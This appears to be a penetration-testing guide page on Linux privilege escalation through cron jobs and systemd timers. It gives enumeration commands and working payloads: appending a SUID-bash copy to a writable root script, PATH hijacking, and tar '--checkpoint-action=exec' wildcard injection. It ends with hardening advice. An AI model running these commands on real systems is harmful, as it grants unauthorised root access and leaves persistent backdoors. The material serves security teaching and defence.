Skip to content

Cron Jobs and Timers

Cron runs scheduled tasks, many of them as root. If one of those tasks runs a script or binary you can modify, uses a relative PATH, or handles wildcards insecurely, you can inject your code and get execution as root when the task fires. It’s a classic and very reliable privesc vector because maintenance tasks are often written in a hurry with loose permissions.

/etc/crontab # system cron (includes the running user)
/etc/cron.d/ # additional system tasks
/etc/cron.{hourly,daily,weekly,monthly}/ # scripts by frequency
/var/spool/cron/crontabs/ # per-user crontabs
crontab -l # for the current user
# systemd timers (modern alternative to cron)
systemctl list-timers --all
cat /etc/systemd/system/*.timer /etc/systemd/system/*.service

The problem: you don’t always see root’s tasks in the files. pspy reveals them by observing processes without privileges:

cat /etc/crontab ; ls -la /etc/cron.*
pspy64 # watch live which processes/cron root launches (without being root)

pspy is the key tool: it shows commands, PIDs, and UIDs of running tasks, including root’s that you can’t read directly.

# if /etc/cron.d/backup runs /opt/backup.sh and you can write to backup.sh:
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh
# wait for cron to run it -> /tmp/rootbash -p = root
ls -la /opt/backup.sh # writable by you/your group?
# if crontab has PATH=/home/user:/usr/bin and the task calls "backup" without a path:
# create a malicious /home/user/backup -> root when run
echo '#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb' > ~/backup; chmod +x ~/backup

3. Wildcard injection (tar/rsync/chown/chmod)

Section titled “3. Wildcard injection (tar/rsync/chown/chmod)”

If the task uses wildcards (tar czf back.tar.gz *) in a directory where you can create files, you abuse the flags the wildcard interprets:

# in the target directory, create files whose names are tar flags:
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# when root runs "tar ... *", it executes your shell.sh

If the task calls a script that doesn’t exist but in a path where you can create it, you create it.

  • Absolute paths in tasks and the commands they invoke; secure PATH in crontab.
  • Cron scripts owned by root and non-writable by others (chmod 700, root owner).
  • Avoid wildcards in commands running as root over writable directories; use ./ or explicit paths.
  • Audit /etc/cron.*, crontabs, and timers; monitor changes (auditd) in task scripts.
  • Least privilege: don’t run tasks as root unless necessary.
  • Enumerate crontab, /etc/cron.*, cron.d, and systemd timers
  • pspy to see root tasks/processes live
  • Cron scripts writable by you/your group
  • Relative PATH in the task → PATH hijacking
  • Wildcard injection (tar/rsync/chown in a writable dir)
  • Referenced but nonexistent scripts in a writable path
  • Confirm execution as root (SUID/cron shell)
  • Blue: absolute paths, non-writable scripts, no wildcards?